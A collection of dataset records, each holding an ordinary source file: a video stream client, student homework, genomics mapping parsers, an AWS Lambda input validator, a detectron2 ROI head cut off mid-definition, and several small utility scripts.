+{"seq_id":"528479095","text":"import subprocess as sp\nimport cv2\nimport numpy\nimport base64\nimport time\nimport socket\nimport threading\nimport os\nimport signal\n\n\nWIDTH = 856\nHEIGHT = 480\nFFMPEG_BIN = 'ffmpeg'\nSDP_PATH = '/home/ubuntu/stream/bebop.sdp'\n    \nflag = False\n\ndef create_pipe():\n    #'-nostats -hide_banner -loglevel panic\n    #a = f'-protocol_whitelist file,udp,rtp -i {SDP_PATH} -fflags nobuffer -preset ultrafast -f image2pipe -r 2 -pix_fmt rgb24 -tune zerolatency -vcodec rawvideo -'\n    a = f'-protocol_whitelist file,udp,rtp -i {SDP_PATH} -f image2pipe -r 2 -pix_fmt rgb24 -vcodec rawvideo -'\n    \n    command = [FFMPEG_BIN, *(a.split(' '))] \n    return sp.Popen(command, stdout=sp.PIPE, bufsize=1)\n    \n\ndef start_stream(pipe):\n    global flag\n    \n    while flag:\n        try:\n            raw_image = pipe.stdout.read(WIDTH*HEIGHT*3)\n            if len(raw_image) > 0:\n                image = numpy.frombuffer(raw_image, dtype='uint8')\n                image = image.reshape((HEIGHT, WIDTH, 3))\n                image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n                _, encoded = cv2.imencode('.jpg', image) \n                encoded = base64.b64encode(encoded)\n                node.send([{'payload': encoded.decode('utf8')}, None])\n                pipe.stdout.flush()\n        except Exception as e:\n            print(e)\n            pass\n        time.sleep(0.01)\n    \n    n\n    \ndef start_socket():\n    global flag\n    \n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind(('127.0.0.1', 55555))\n    s.listen(1)\n    conn, addr = s.accept()\n    \n    node.send([None, {'topic': 'tcp', 'payload': 1}])\n    pipe = create_pipe()\n    flag = True\n    threading.Thread(target=start_stream, args=(pipe,)).start()\n    while True:\n        data = conn.recv(20)\n        if data.decode('utf8') == 'kill':\n            flag = False\n            if pipe:\n                pipe.stdout.flush()\n                pipe.kill()\n            data = conn.recv(20)\n            pipe = create_pipe()\n            flag = True\n            threading.Thread(target=start_stream, args=(pipe,)).start()\n        \n    conn.close()\n\nstart_socket()","sub_path":"misc_code/stream/stream_client_ffmpeg2.py","file_name":"stream_client_ffmpeg2.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"159435049","text":"#  File: Hailstone.py\n\n#  Description:\n\n#  Student Name: Logan Hashmi\n\n#  Student UT EID: Sah4334\n\n#  Course Name: CS 303E\n\n#  Unique Number: 51850\n\n#  Date Created: 2-27-17\n\n#  Date Last Modified: 2-27-17\n\ndef hailstone(x, y):\n    num_count = 0\n    num = x\n    x = x\n    while True:\n        if x == 1:\n            break\n        elif x % 2 != 0:\n            x = (x * 3) + 1\n\n        else:\n            x -= x // 2\n        num_count += 1\n    return num, num_count\n\ndef main():\n    x = int(input(\"Enter starting number of the range:  \"))\n    y = int(input(\"Enter ending number of the range: \"))\n    while x <= 0 or y <= 0 or x > y:\n        x = int(input(\"Enter starting number of the range:  \"))\n        y = int(input(\"Enter ending number of the range: \"))\n\n    number = 0\n    rounds = 0\n\n    for i in range(x, y + 1):\n        F, T = hailstone(i, y)\n\n        if T >= rounds:\n            rounds = T\n            number = F\n\n    print(\"The number \", number, \"has the longest cycle length of \", rounds)\n\nmain()\n","sub_path":"Hailstone.py","file_name":"Hailstone.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"35319194","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\n-----------------File Info-----------------------\r\nName: __about__.py\r\nDescription: author and project info\r\nAuthor: GentleCP\r\nEmail: me@gentlecp.com\r\nCreate Date: 2021/6/4 \r\n-----------------End-----------------------------\r\n\"\"\"\r\n__name__ = \"cptools\"\r\n__version__ = '1.4.7'\r\n__author__ = 'GentleCP'\r\n__author_email__ = 'me@gentlecp.com'\r\n__description__ = 'Tools used by CP'\r\n__url__ = 'https://github.com/GentleCP/cptools'","sub_path":"cptools/__about__.py","file_name":"__about__.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"504172349","text":"from game_info import *\nimport pygame\n\n\ndef init():\n\tglobal _screen, _leaders, _font\n\tpygame.init()\n\t_screen = pygame.display.set_mode((800, 600))\n\t_leaders = ()\n\t_font = pygame.font.Font(pygame.font.get_default_font(), 26)\n\ndef reset(players):\n\tglobal _players\n\t_players = players\n\ndef set_leaderboard(leaders):\n\tglobal _leaders\n\n\t_leaders = leaders[:10]\n\ndef _draw_text(x, y, color, text):\n\tglobal _font, _screen\n\n\tsurf = _font.render(text, True, color)\n\t_screen.blit(surf, (x, y))\n\ndef render_ui():\n\tglobal _leaders\n\n\tfor i, leader in enumerate(_leaders):\n\t\tname = leader[1].name\n\t\tscore = str(leader[0])\n\t\tcolor = (max(255 - 10 * leader[1].top_10s, 0), max(255 - 10 * leader[1].ancestral_top_10s, 0), 255)\n\t\t_draw_text(10, 10 + i * 30, color, str(i + 1) + \": Player \" + name + \" - Score \" + score)\n\ndef render(wait_pct):\n\tglobal _screen, _players\n\n\t_screen.fill((0, 0, 0))\n\n\tpygame.draw.rect(_screen, (0, 180, 0), (100, 550, 600, 50))\n\n\tfor player in _players:\n\t\tplayer.render(pygame, _screen)\n\n\trender_ui()\n\tpygame.display.update()\n\tpygame.time.wait(int(TIMESTEP * 1000 * wait_pct))\n\n\ndef quit():\n\tprint(\"Shutting down display\")\n\tpygame.display.quit()\n\tprint(\"Shutting down pygame\")\n\tpygame.quit()\n","sub_path":"src/python/graphics.py","file_name":"graphics.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"94921138","text":"exam = 33+26+1227+128\nbct_benign = 5396\nbct_malign = 4500\nmx = 15607\nlymph_ex = 2774\nlymph_metast = 7737.5\nsystemic_her2_neg = 105+177+429+766+1286\nsystemic_her2_pos = 105+177+429+766+1286+1967+23604+1822\nradiother = 3131\nannual_hormonal_pre = 151\nannual_hormonal_post = 382+1652+214+218\nannual_mammo = 26\nsurgeon_checkup = 33\ngp_checkup = 36\ncost = dict()\ncost = {'exam': exam, 'bct_benign': bct_benign, 'bct_malign': bct_malign, 'mx': mx,\n        'lymph_ex': lymph_ex, 'lymph_metast': lymph_metast, 'systemic_her2_neg': systemic_her2_neg,\n        'systemic_her2_pos': systemic_her2_pos, 'radiother': radiother,\n        'annual_hormonal_pre': annual_hormonal_pre, 'annual_hormonal_post': annual_hormonal_post,\n        'annual_mammo': annual_mammo, 'surgeon_checkup': surgeon_checkup,\n        'gp_checkup': gp_checkup}","sub_path":"other parameters/cost_bc.py","file_name":"cost_bc.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"338598473","text":"\"\"\" Calculates all paths from one node to another given a list of paths\r\nE.g. \r\n# triangle graph (note: must add an extra ' \" ' to both ' \"\" ' below.)\r\ngraph_str = \"\"\r\nU 3\r\n0 1\r\n1 2\r\n2 0\r\n\"\"\r\nprint(sorted(allpaths(Graph(graph_str), 0, 2))) -> [[0, 1, 2], [0, 2]]\r\n\r\nWritten by Daniel Lynch - 06/04/2015\r\n\"\"\"\r\n\r\nclass Graph:\r\n    def __init__(self, graph_string):\r\n        self.graph_string = []\r\n        for i in graph_string.splitlines():\r\n            self.graph_string.append(i.split())\r\n\r\n        def check_directed(self, graph_string):\r\n            if self.graph_string[0][0] == \"D\":\r\n                return True\r\n            else:\r\n                return False\r\n\r\n        def check_weighted(self, graph_string):\r\n            if self.graph_string[0][1] == \"W\":\r\n                return True\r\n            else:\r\n                return False\r\n\r\n        self.directed = check_directed(self, graph_string)\r\n        self.weighted = check_weighted(self, self.graph_string)\r\n\r\n        self.num = int(self.graph_string[0][1])\r\n\r\n        self.adjacency_list = [[] for i in range(self.num)]\r\n        self.graph_string.pop(0)\r\n        if self.weighted:\r\n            if self.directed:\r\n                for i in self.graph_string:\r\n                    self.adjacency_list[int(i[0])].append((int(i[1]), int(i[2])))\r\n            else:\r\n                for i in self.graph_string:\r\n                    self.adjacency_list[int(i[0])].append((int(i[1]), int(i[2])))\r\n                    self.adjacency_list[int(i[0])].append((int(i[0]), int(i[2])))\r\n        else:\r\n            if self.directed == True:\r\n                for i in self.graph_string:\r\n                    self.adjacency_list[int(i[0])].append((int(i[1]), None))\r\n            else:\r\n                for i in self.graph_string:\r\n                    self.adjacency_list[int(i[0])].append((int(i[1]), None))\r\n                    self.adjacency_list[int(i[1])].append((int(i[0]), None))              \r\n\r\ndef allpaths(graph, source, destination):\r\n    paths = []\r\n    success_paths = []\r\n    for i in graph.adjacency_list[source]:\r\n        paths.append([source, i[0]])\r\n    while len(paths[0]) < len(graph.adjacency_list):\r\n        new_paths = []\r\n        for path in paths:\r\n            end = path[-1]\r\n            if end != destination and graph.adjacency_list[end] != []:\r\n                for i in graph.adjacency_list[end]:\r\n                        new_paths.append(path + [i[0]])\r\n            else:\r\n                if path[-1] == destination:\r\n                    success_paths.append(path)\r\n        paths = new_paths\r\n    for i in new_paths:\r\n        if i[-1] == destination:\r\n            success_paths.append(i)\r\n    final_paths = []\r\n    for i in success_paths:\r\n        if sorted(list(set(i))) == sorted(i):\r\n            final_paths.append(i)\r\n        \r\n    return final_paths\r\n    \r\n\r\n# triangle graph\r\ngraph_str = \"\"\"\\\r\nU 3\r\n0 1\r\n1 2\r\n2 0\r\n\"\"\"\r\n\r\nprint(sorted(allpaths(Graph(graph_str), 0, 2)))","sub_path":"allpaths.py","file_name":"allpaths.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"119244439","text":"from urllib2 import urlopen\nimport gzip\nimport pysam\n\n\ndef download_ucsc_mapping(build, fn):\n    \"\"\"Download UCSC mappings data\"\"\"\n\n    # Download appropriate data file depending on build\n    if build == 'GRCh38':\n        url = 'ftp://hgdownload.cse.ucsc.edu/goldenPath/hg38/database/refGene.txt.gz'\n    else:\n        url = 'ftp://hgdownload.cse.ucsc.edu/goldenPath/hg19/database/refGene.txt.gz'\n    f = urlopen(url)\n    with open(fn, \"wb\") as datafile:\n        datafile.write(f.read())\n\n\ndef read_ucsc_mapping(fn):\n    \"\"\"Read UCSC mappings data\"\"\"\n\n    ret = dict()\n\n    allowed_chroms = [str(x) for x in range(1, 23)] + ['X', 'Y', 'MT']\n\n    # Iterate through the lines of data file\n    for line in gzip.open(fn):\n        line = line.strip()\n        if line == '':\n            continue\n        cols = line.split()\n\n        if not cols[1].startswith('NM_'):\n            continue\n\n        chrom = cols[2][3:]\n\n        if chrom not in allowed_chroms:\n            continue\n\n        key = cols[1]\n\n        # Save mapping in a dict\n        mapping = {\n            'chrom': chrom,\n            'strand': cols[3],\n            'coding_start': cols[6],\n            'coding_end': cols[7],\n            'exonStarts': [x for x in cols[9].split(',') if x != ''],\n            'exonEnds': [x for x in cols[10].split(',') if x != ''],\n            'exon_cigars': None\n        }\n        if mapping['strand'] == '-':\n            mapping['exonStarts'] = mapping['exonStarts'][::-1]\n            mapping['exonEnds'] = mapping['exonEnds'][::-1]\n        if mapping['strand'] == '+':\n            mapping['coding_start'] = int(cols[6])\n            mapping['coding_end'] = int(cols[7]) - 1\n        else:\n            mapping['coding_start'] = int(cols[7]) - 1\n            mapping['coding_end'] = int(cols[6])\n\n        # Add possible mapping to list\n        try:\n            ret[key].append(mapping)\n        except:\n            ret[key] = [mapping]\n\n    return ret\n\n\ndef download_ncbi_mapping(build):\n    \"\"\"Download NCBI mappings data\"\"\"\n\n    if build=='GRCh37':\n        ftpsite = 'ftp://ftp.ncbi.nlm.nih.gov/genomes/Homo_sapiens/GRCh37.p13_interim_annotation/'\n        files = [\n            'interim_GRCh37.p13_knownrefseq_alignments_2017-01-13.bam',\n            'interim_GRCh37.p13_top_level_2017-01-13.gff3.gz'\n        ]\n    else:\n        ftpsite = 'ftp://ftp.ncbi.nlm.nih.gov/genomes/Homo_sapiens/ARCHIVE/ANNOTATION_RELEASE.108/GRCh38.p10_interim_annotation/'\n        files = [\n            'interim_GRCh38.p10_knownrefseq_alignments_2017-01-13.bam',\n            'interim_GRCh38.p10_top_level_2017-01-13.gff3.gz'\n        ]\n\n    for fn in files:\n        f = urlopen(ftpsite + fn)\n        with open(fn, \"wb\") as datafile:\n            datafile.write(f.read())\n\n\ndef read_ncbi_mapping(bam_fn, gff3_fn):\n    \"\"\"Read NCBI mappings data\"\"\"\n\n    ret = {}\n\n    # Read strand, coding_start and coding_end from GFF3 file\n    gff3_data = process_gff3_file(gff3_fn)\n\n    for line in pysam.view(bam_fn):\n        line = line.strip()\n        cols = line.split()\n\n        id = cols[0]\n        if '.' in id:\n            id = id[:id.find('.')]\n\n        if not id.startswith('NM_'):\n            continue\n\n        # Extract chromosome name\n        chrom_nc = cols[2]\n        if not chrom_nc.startswith('NC_'):\n            continue\n        if '.' in chrom_nc:\n            chrom_nc = chrom_nc[:chrom_nc.find('.')]\n        chrom = translate_chromosome_name_from_nc_id(chrom_nc)\n\n        start_pos = int(cols[3]) - 1\n\n        # Process cigar string and calculate exon coordinates\n        cigar = cols[5]\n        cigar_list = split_cigar(cigar)\n        exon_lengths, intron_lengths, exon_cigars = break_into_exons(cigar_list)\n        exon_starts, exon_ends = calculate_exon_coordinates(exon_lengths, intron_lengths, start_pos)\n\n        # Extract strand, coding_start, coding_end from the GFF3 data\n        # Note: the followings are not correct in case of multiple mappings, however transcripts with multiple mappings\n        # are excluded anyway. If transcripts with multiple mappings are included in the future, the code should match the\n        # corresponding mappings read from the two different sources and not always add data from the 0th mapping.\n        strand = gff3_data[id][0][0]\n        coding_start = gff3_data[id][0][1]\n        coding_end = gff3_data[id][0][2]\n\n        # Reverse order of exon coordinates for reverse-stranded transcripts\n        if strand == '-':\n            exon_starts = exon_starts[::-1]\n            exon_ends = exon_ends[::-1]\n            exon_cigars = exon_cigars[::-1]\n\n        mapping = {\n            'chrom': chrom,\n            'strand': strand,\n            'exonStarts': exon_starts,\n            'exonEnds': exon_ends,\n            'coding_start': coding_start,\n            'coding_end': coding_end,\n            'exon_cigars': exon_cigars\n        }\n\n        if id not in ret:\n            ret[id] = []\n        ret[id].append(mapping)\n\n    return ret\n\n\ndef process_gff3_file(gff3_fn):\n    \"\"\"Read strand, coding_start and coding_end from GFF3 file\"\"\"\n\n    ret = {}\n\n    reading_id = ''\n\n    reading = False\n    for line in gzip.open(gff3_fn):\n        line = line.strip()\n        if line == '' or line.startswith('#'):\n            continue\n\n        cols = line.split('\\t')\n\n        if not cols[0].startswith('NC_'):\n            continue\n\n        '''\n        if cols[1] != 'BestRefSeq':\n            continue\n        '''\n\n        if cols[2] not in ['mRNA', 'CDS']:\n            continue\n\n        if cols[2] == 'mRNA':\n\n            if reading:\n                if id not in ret:\n                    ret[id] = []\n                coding_start, coding_end = coding_endpoints(strand, min_cds, max_cds)\n                ret[id].append((strand, coding_start, coding_end))\n                reading = False\n\n            id = extract_id_from_info_field(cols[8])\n\n            if id.startswith('NM_'):\n                min_cds = None\n                max_cds = None\n                strand = cols[6]\n                reading = True\n                reading_id = extract_gff3_record_id_from_info_field(cols[8])\n\n            continue\n\n        parent = extract_parent_from_info_field(cols[8])\n        if parent != reading_id:\n            continue\n\n        if reading and cols[2] == 'CDS':\n            if min_cds is None:\n                min_cds = int(cols[3])\n                max_cds = int(cols[4])\n            else:\n                if int(cols[3]) < min_cds:\n                    min_cds = int(cols[3])\n                if int(cols[4]) > max_cds:\n                    max_cds = int(cols[4])\n\n    if reading:\n        if id not in ret:\n            ret[id] = []\n        coding_start, coding_end = coding_endpoints(strand, min_cds, max_cds)\n        ret[id].append((strand, coding_start, coding_end))\n\n    return ret\n\n\ndef coding_endpoints(strand, min_cds, max_cds):\n    \"\"\"Determine coding_start and coding_end coordinates\"\"\"\n\n    if strand == '+':\n        return min_cds - 1, max_cds - 1\n    else:\n        return max_cds - 1, min_cds - 1\n\n\ndef extract_id_from_info_field(info):\n    \"\"\"Helper function to extract transcript ID from info string\"\"\"\n\n    for tag in info.split(';'):\n        if tag.startswith('Dbxref='):\n            for x in tag.split(','):\n                if x.startswith('Genbank:'):\n                    id = x[8:]\n                    if '.' in id:\n                        id = id[:id.find('.')]\n                    return id\n\n\ndef extract_parent_from_info_field(info):\n    \"\"\"Helper function to extract parent ID from info string\"\"\"\n\n    for tag in info.split(';'):\n        if tag.startswith('Parent='):\n            return tag[7:]\n\n\ndef extract_gff3_record_id_from_info_field(info):\n    \"\"\"Helper function to extract GFF3 record ID from info string\"\"\"\n\n    for tag in info.split(';'):\n        if tag.startswith('ID='):\n            return tag[3:]\n\n\ndef split_cigar(cig):\n    \"\"\"Split cigar string to list\"\"\"\n\n    ret = []\n    s = ''\n    for c in cig:\n        s += c\n        if c in ['N', '=', 'X', 'I', 'D']:\n            ret.append(s)\n            s = ''\n        cig = cig[1:]\n    return ret\n\n\ndef break_into_exons(cigar_list):\n    \"\"\"Break cigar list to exons\"\"\"\n\n    exons = []\n    intron_lengths = []\n    e = []\n    for x in cigar_list:\n        if x[-1] == 'N':\n            exons.append(e)\n            intron_lengths.append(int(x[:-1]))\n            e = []\n        else:\n            e.append(x)\n    exons.append(e)\n\n    exon_lengths = []\n    for e in exons:\n        total = 0\n        for x in e:\n            if x[-1] in ['=', 'X', 'D']:\n                total += int(x[:-1])\n        exon_lengths.append(total)\n\n    exon_cigars = []\n    for e in exons:\n        exon_cigar = ''\n        for x in e:\n            exon_cigar += x\n        exon_cigars.append(exon_cigar)\n\n    return exon_lengths, intron_lengths, exon_cigars\n\n\ndef calculate_exon_coordinates(exon_lengths, intron_lengths, start_pos):\n    \"\"\"Calculate exon coordinates\"\"\"\n\n    exon_starts = []\n    exon_ends = []\n\n    p = start_pos\n    for i in range(len(exon_lengths)):\n        exon_starts.append(p)\n        exon_ends.append(p + exon_lengths[i])\n        if i == len(exon_lengths) - 1:\n            break\n        p += exon_lengths[i] + intron_lengths[i]\n\n    return exon_starts, exon_ends\n\n\ndef translate_chromosome_name_from_nc_id(nc):\n    \"\"\"Helper function to translate chromosome name from NC ID\"\"\"\n\n    if nc == 'NC_000023':\n        return 'X'\n    if nc == 'NC_000024':\n        return 'Y'\n    if nc == 'NC_012920':\n        return 'MT'\n    return str(int(nc[3:]))\n\n\n","sub_path":"refseqdb_/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":9498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"410842558","text":"import pandas as pd\nimport numpy as np\n\nclass Data_Prepare():\n\n#Insert file name here like: \"YOUR_FILE.csv\" so that the program can read your file.\n\n    df = pd.read_csv(\"row_data/bat_read.csv\")\n\n# \"\"\"\n#   Thank you for adding it! You are all set!\n#   Type commandline:::  Python data.modify1.py\n#   so you can get the fixed data-file!\n#\n# \"\"\"\n\n###### Program start here #######\n    df = df.sort_values(by= [list(df)[0], list(df)[1]])\n    num = df._get_numeric_data()\n    num[num < 10] = 0\n    data = []\n\n    ##hedader preparation\n    header = []\n    family_protein = list(df)[0] +  \"-\" + list(df)[1]\n    header.append(family_protein)\n    for each in list(df)[5:len(list(df))]:\n        header.append(each)\n    data.append(header)\n\n    # ##data preparation\n    for each in df.values:\n        row_set = []\n        protein = each[0] + \"-\" + each[1]\n        row_set.append(protein)\n        for value in each[5:len(each)]:\n            if (value == '0' or value == \"\" or value == None):\n                row_set.append(0)\n            else:\n                row_set.append(float(value))\n        data.append(row_set)\n\n    def protein(self):\n        protein_data = []\n        for value in self.data:\n            ##beginning\n            if(len(protein_data) <= 1):\n                protein_data.append(value)\n              #from next\n            else:\n                last = protein_data[len(protein_data)-1]\n                if(value[0] == last[0]):\n                    value_column = 1\n                    while(value_column < len(protein_data[0])):\n                        last[value_column] += value[value_column]\n                        value_column += 1\n                else:\n                    if value == 0:\n                        protein_data(None)\n                    protein_data.append(value)\n        df1 = pd.DataFrame(protein_data)\n        df1 = df1.replace(0, np.nan)\n        df1 = df1.dropna(axis=0, thresh=2)\n\n\n\n        ##Here is the part where you create csv file\n        #If you want to change name of the fix-data file, you can!\n        #You can do: df1= df1.to_csv(\"NEW_FILE_NAME.csv\", index=False, header=None)\n        ###########\n        df1 = df1.to_csv(\"result/bat_read.csv\", index=False, header=None)\n        ############\n\n\n        print(\"Ta-da! fixed data csv file is created in the file! You are done!\")\n\ndata_prepare = Data_Prepare()\ndata_prepare.protein()\n","sub_path":"data_prepare.py","file_name":"data_prepare.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"325031387","text":"import boto3\nimport json\nimport re\nimport os\n\ntry:\n    session = boto3.session.Session(profile_name='training')\nexcept Exception as e:\n    session = boto3.session.Session()\n\n\ndef lambda_handler(event, context):\n\n    # Default API Response returns an error\n    api_return_payload = {\n        'statusCode': 500,\n        'headers':{\n            'Content-Type':'application/json'\n        },\n        'body':'Interal Server Error'\n    }\n\n    try:\n\n        inputs = validate_inputs(event)\n        invoke_state_machine(inputs)\n\n        api_return_payload['body'] = 'Inputs are valid.'\n        api_return_payload['statusCode'] = 200\n\n    except Exception as error:\n        print(error)\n        api_return_payload['body'] = \"Unsuccessful:\\n {error}\".format(error=error)\n\n    print(api_return_payload)\n    return api_return_payload\n\n\ndef invoke_state_machine(inputs):\n    print(json.dumps(inputs))\n    response = session.client('stepfunctions').start_execution( stateMachineArn=os.environ['state_machine'],\n                                                                input=json.dumps(inputs))\n    print(response)\n\ndef validate_inputs(event):\n    input_payload = json.loads(event['body'])\n    num_days = abs(input_payload.get('num_days', 7))\n    if num_days > 30 or num_days < 1:\n        print(num_days)\n        raise ValueError('Valid number of days is between 1 and 30 inclusive.')\n\n\n    entity_arn = validate_entity_arn(input_payload.get('entity_arn'))\n\n    return {\n        'num_days'  : num_days*-1,\n        'entity_arn': entity_arn\n    }\n\ndef validate_entity_arn(entity_arn):\n\n    # account_number = session.client('sts').get_caller_identity()[\"Account\"]\n    # Roles are valid: arn:aws:iam::842337631775:role/1S-Admins\n    #                  arn:aws:sts::281782457076:assumed-role/1S-Admins/alex\n    # Users are invalid: arn:aws:iam::842337631775:user/aaron\n\n    if 'user' in entity_arn:\n        raise ValueError('Users not supported. Please enter a role ARN.')\n\n    if 'group' in entity_arn:\n        raise ValueError('Groups not supported. Please enter a role ARN.')\n\n    pattern = re.compile(\"arn:aws:(sts|iam)::(\\d{12})?:(role|assumed-role)\\/(.*)\")\n\n    if not pattern.match(entity_arn):\n        raise ValueError('Invalid Resource ARN.')\n\n    assumed_role_pattern = re.compile(\"arn:aws:sts::(\\d{12})?:assumed-role\\/(.*)\\/(.*)\")\n\n    if not assumed_role_pattern.match(entity_arn):\n\n        split_arn       = re.split('/|:', entity_arn)\n        refactored_arn  = \"arn:aws:sts:\" + split_arn[4] + \":assumed-role/\" + split_arn[6]\n        entity_arn      = refactored_arn\n        session.client('iam').get_role(RoleName=split_arn[6])\n\n    return entity_arn\n\n# if __name__ == '__main__':\n#     lambda_handler(\n#     {\n#         'body': \"{\\\"entity_arn\\\":\\\"arn:aws:iam::842337631775:user/aaron\\\",\\\"num_days\\\":7}\"\n#     }\n#     ,{})\n\nif __name__ == '__main__':\n    lambda_handler(\n        {\n            'body': \"{\\\"entity_arn\\\":\\\"arn:aws:sts::281782457076:role/1S-Admins\\\",\\\"num_days\\\":30}\"\n        }, {}\n    )\n#\n","sub_path":"security_fairy_api_endpoint.py","file_name":"security_fairy_api_endpoint.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"542450226","text":"# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\nimport torch\nfrom torch import nn\nfrom torch.autograd.function import Function\nimport numpy as np\nfrom typing import Dict\n\nfrom detectron2.layers import ShapeSpec\nfrom detectron2.structures import Boxes, Instances, pairwise_iou\nfrom detectron2.utils.events import get_event_storage\n\nfrom ..backbone.resnet import BottleneckBlock, make_stage\nfrom ..box_regression import Box2BoxTransform\nfrom ..matcher import Matcher\nfrom ..poolers import ROIPooler\nfrom ..proposal_generator.proposal_utils import add_ground_truth_to_proposals\nfrom ..sampling import subsample_labels\nfrom .box_head import build_box_head\nfrom .fast_rcnn import FastRCNNOutputLayers, FastRCNNOutputs, fast_rcnn_inference\nfrom .roi_heads import ROI_HEADS_REGISTRY, StandardROIHeads\nfrom .keypoint_head import build_keypoint_head, keypoint_rcnn_inference, keypoint_rcnn_loss\nfrom .mask_head import build_mask_head, mask_rcnn_inference, mask_rcnn_loss\nfrom .roi_heads import ROIHeads\n\nclass _ScaleGradient(Function):\n    @staticmethod\n    def forward(ctx, input, scale):\n        ctx.scale = scale\n        return input\n\n    @staticmethod\n    def backward(ctx, grad_output):\n        return grad_output * ctx.scale, None\n\n@ROI_HEADS_REGISTRY.register()\nclass AttentionROIHeads(ROIHeads):\n    \"\"\"\n    It's \"standard\" in a sense that there is no ROI transform sharing\n    or feature sharing between tasks.\n    The cropped rois go to separate branches (boxes and masks) directly.\n    This way, it is easier to make separate abstractions for different branches.\n\n    This class is used by most models, such as FPN and C5.\n    To implement more models, you can subclass it and implement a different\n    :meth:`forward()` or a head.\n    \"\"\"\n\n    def __init__(self, cfg, input_shape):\n        super(AttentionROIHeads, self).__init__(cfg, input_shape)\n        self._init_global_box_head(cfg)\n        self._init_box_head(cfg)\n        self._init_mask_head(cfg)\n        self._init_keypoint_head(cfg)\n        \n    def _init_global_box_head(self, cfg):\n        \n        # fmt: off\n        pooler_resolution = cfg.MODEL.ROI_BOX_HEAD.POOLER_RESOLUTION\n        pooler_scales     = tuple(1.0 / self.feature_strides[k] for k in self.in_features)\n        sampling_ratio    = cfg.MODEL.ROI_BOX_HEAD.POOLER_SAMPLING_RATIO\n        pooler_type       = cfg.MODEL.ROI_BOX_HEAD.POOLER_TYPE\n        self.enhance_size = cfg.MODEL.ATTENTION_ROI_HEAD.CHANNEL_OF_ENHANCED_FEATURE\n        self.relu = nn.ReLU(inplace=True)\n\n        \n        # fmt: on\n\n        # If StandardROIHeads is applied on multiple feature maps (as in FPN),\n        # then we share the same predictors and therefore the channel counts must be the same\n        in_channels = [self.feature_channels[f] for f in self.in_features]\n        # Check all channel counts are equal\n        assert len(set(in_channels)) == 1, in_channels\n        in_channels = in_channels[0]\n\n        self.global_box_pooler = ROIPooler(\n            output_size=pooler_resolution,\n            scales=pooler_scales,\n            sampling_ratio=sampling_ratio,\n            pooler_type=pooler_type,\n        )\n        # Here we split \"box head\" and \"box predictor\", which is mainly due to historical reasons.\n        # They are used together so the \"box predictor\" layers should be part of the \"box head\".\n        # New subclasses of ROIHeads do not need \"box predictor\"s.\n        self.global_box_head = build_box_head(\n            cfg, ShapeSpec(channels=in_channels, height=pooler_resolution, width=pooler_resolution)\n        )\n        assert not cfg.MODEL.ROI_BOX_HEAD.CLS_AGNOSTIC_BBOX_REG,  \\\n            \"ParallelROIHeads only support non class-agnostic regression now!\"\n        self.global_box_predictor =  FastRCNNOutputLayers(\n            self.global_box_head.output_size, self.num_classes, self.cls_agnostic_bbox_reg\n        )\n        \n        self.squeeze = nn.ModuleList()\n        self.squeeze.append(\n            nn.Conv2d(1024, 1024 // 16,\n                       3, stride=2, padding=1, bias=True))\n        self.squeeze.append(\n            nn.Linear(1024 // 16, self.global_box_predictor.cls_score.weight.shape[1] + 1))\n\n        self.W_G = nn.Linear(self.global_box_predictor.cls_score.weight.shape[1] + 1, self.enhance_size)\n\n    def _init_box_head(self, cfg):\n        \n        # fmt: off\n        pooler_resolution = cfg.MODEL.ROI_BOX_HEAD.POOLER_RESOLUTION\n        pooler_scales     = tuple(1.0 / self.feature_strides[k] for k in self.in_features)\n        sampling_ratio    = cfg.MODEL.ROI_BOX_HEAD.POOLER_SAMPLING_RATIO\n        pooler_type       = cfg.MODEL.ROI_BOX_HEAD.POOLER_TYPE\n        # fmt: on\n\n        # If StandardROIHeads is applied on multiple feature maps (as in FPN),\n        # then we share the same predictors and therefore the channel counts must be the same\n        in_channels = [self.feature_channels[f] for f in self.in_features]\n        # Check all channel counts are equal\n        assert len(set(in_channels)) == 1, in_channels\n        in_channels = in_channels[0]\n\n        self.box_pooler = ROIPooler(\n            output_size=pooler_resolution,\n            scales=pooler_scales,\n            sampling_ratio=sampling_ratio,\n            pooler_type=pooler_type,\n        )\n        # Here we split \"box head\" and \"box predictor\", which is mainly due to historical reasons.\n        # They are used together so the \"box predictor\" layers should be part of the \"box head\".\n        # New subclasses of ROIHeads do not need \"box predictor\"s.\n        self.box_head = build_box_head(\n            cfg, ShapeSpec(channels=in_channels, height=pooler_resolution, width=pooler_resolution)\n        )\n        \n        self.box_predictor = FastRCNNOutputLayers(\n            self.box_head.output_size + self.enhance_size, self.num_classes, self.cls_agnostic_bbox_reg\n        )\n\n    def _init_mask_head(self, cfg):\n        # fmt: off\n        self.mask_on           = cfg.MODEL.MASK_ON\n        if not self.mask_on:\n            return\n        pooler_resolution = cfg.MODEL.ROI_MASK_HEAD.POOLER_RESOLUTION\n        pooler_scales     = tuple(1.0 / self.feature_strides[k] for k in self.in_features)\n        sampling_ratio    = cfg.MODEL.ROI_MASK_HEAD.POOLER_SAMPLING_RATIO\n        pooler_type       = 